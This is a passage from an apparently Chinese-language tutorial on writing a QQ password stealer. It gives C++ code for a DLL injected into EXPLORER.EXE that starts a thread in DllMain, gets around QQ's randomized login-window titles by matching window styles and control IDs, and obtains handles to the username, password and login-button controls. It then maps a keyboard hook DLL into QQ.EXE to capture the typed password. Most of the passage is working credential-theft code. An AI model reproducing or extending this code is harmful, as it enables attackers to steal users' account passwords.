2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLLDllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。

[cpp] view plaincopyprint?

1.     switch(fdwReason)  

2.      {   

3.       case DLL_PROCESS_ATTACH:  

4.       {  

5.        //下面这句会给你创建远程线程成功的提示。  

6.        MessageBox ( 0, "Code Injection success!""NOTE", MB_OK ) ;  

7.       HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;  

8.          

9.        break;  

10.    }  

11.   }  



在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料,利用的是FindWindowFindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。

就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

[cpp] view plaincopyprint?

1.     BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )   

2.     {  

3.      if ( !hwnd )  

4.      {  

5.       return false ;  

6.      }  

7.      char szWindowName[128] ;  

8.      ZeroMemory ( szWindowName, 128 ) ;  

9.      GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名  

10.   if ( !strcmp ( szWindowClassName, "#32770" ) )  

11.   {  

12.     __asm int 3   

13.   }  

14.   return true ;  

15.  }  



利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X130X100X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“  ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)

事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。

[cpp] view plaincopyprint?

1.     #define UserNameComboBoxId 0x0000008A   //用户名控件ID  

2.     #define PasswordEditId     0x000000B4          //密码控件ID   

3.     #define ButtonId           0x00003EA0               //登陆按扭控件ID  

4.     #define QQLandDlgMiniStyle 0x94CA00C4      //登陆对话框最小化时的风格  

5.     #define QQLandDlgShowStyle 0XB4CA00C4   //登陆对话框在桌面显示时的风格  

6.     BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )  

7.     {  

8.        if ( !hwnd )  

9.       return false ;  

10.   long style = GetWindowLong ( hwnd, GWL_STYLE ) ;  

11.   if (  style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )  

12.   {  

13.    hQQLand = hwnd ;  

14.    EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;  

15.    return false ;  

16.   }  

17.   return true ;  

18.  }  

19.  BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )   

20.  {  

21.   if ( !hwnd )  

22.    return false ;  

23.   //取得指定句柄的控件ID  

24.   long  id= GetWindowLong ( hwnd, GWL_ID ) ;  

25.   if (id == UserNameComboBoxId )  

26.   {  

27.    hUserName = hwnd ;  

28.   }  

29.   else if ( id == PasswordEditId )  

30.   {  

31.    hPassword = hwnd ;  

32.   }  

33.   else if ( id == ButtonId )  

34.   {  

35.    hLandButton = hwnd ;  

36.   }  

37.   return true ;  

38.  }  


到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码),但不能取得密码。

可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;